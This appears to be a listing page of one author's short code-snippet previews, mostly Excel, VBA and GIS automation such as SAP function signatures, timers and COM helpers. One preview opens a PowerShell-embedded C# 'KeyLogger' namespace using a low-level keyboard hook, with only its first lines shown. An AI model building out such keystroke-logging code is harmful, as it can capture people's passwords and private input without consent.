sancarn

SAP Analysis for Office has a bunch of defined functions which can be used in VBA or otherwise, This function list was extracted from the BiExcelBase.tlb type library.

Function BExGetCellData(iMemberX As String, iMemberY As String, iDataProviderName As String)
    Member of BiExcelBase.EaExcelFunctions

Function BExGetData(iDataProviderName As String, iDimensionValueList() As String)
    Member of BiExcelBase.EaExcelFunctions

Sub CallbackAfterWorkbookClose()

sancarn

Add-Type -TypeDefinition @"
using System;
using System.IO;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;

namespace KeyLogger {
  public static class Program {
    private const int WH_KEYBOARD_LL = 13;

sancarn

{
  "swagger": "2.0",
  "info": {
    "title": "GISSTOnline",
    "description": "GISSTOnline Connector",
    "version": "1.0"
  },
  "host": "www.arcgis.com",
  "basePath": "/sharing/rest/",
  "schemes": [

sancarn

Option Private Module
  
Private Declare Function getFrequency Lib "kernel32" Alias "QueryPerformanceFrequency" (cyFrequency As Currency) As Long
Private Declare Function getTickCount Lib "kernel32" Alias "QueryPerformanceCounter" (cyTickCount As Currency) As Long
Public iTimerAverage As Double, iTimerStart As Double

Function MicroTimer() As Double
  ' Returns seconds.
  Dim cyTicks1 As Currency
  Static cyFrequency As Currency

sancarn

VERSION 1.0 CLASS
BEGIN
  MultiUse = -1  'True
END
Attribute VB_Name = "stdShapeEvents"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False

sancarn

Summary

Excel.Worksheet
Excel.Workbook
Excel.QueryTable
Excel.OLEObject
Excel.Chart
Excel.Application

sancarn

  Dim x01 As Boolean
  Dim x02 As Byte
  Dim x03 As Currency
  Dim x04 As Date
  Dim x05 As Double
  Dim x06 As Integer
  Dim x07 As Long
  Dim x08 As LongPtr
  Dim x09 As MsoRGBType

sancarn

Subclass excel

Original source:

https://www.mrexcel.com/forum/general-excel-discussion-other-questions/420673-challenging-problem-how-make-excel-subclassing-safe-stable.html

#' Todo:

Might want to make this class based with an event sink.

sancarn

class A_ {
  class COM {
    GetActiveObject(){
    
    }
    GetActiveObjects(){
    
    }
    class _COMObject {
      __New(obj){

sancarn

name: Modelling in Excel
description: GIS Embedded in Excel
author: sancarn
host: EXCEL
api_set: {}
script:
    content: |-
        MakeMap()

        var data = {}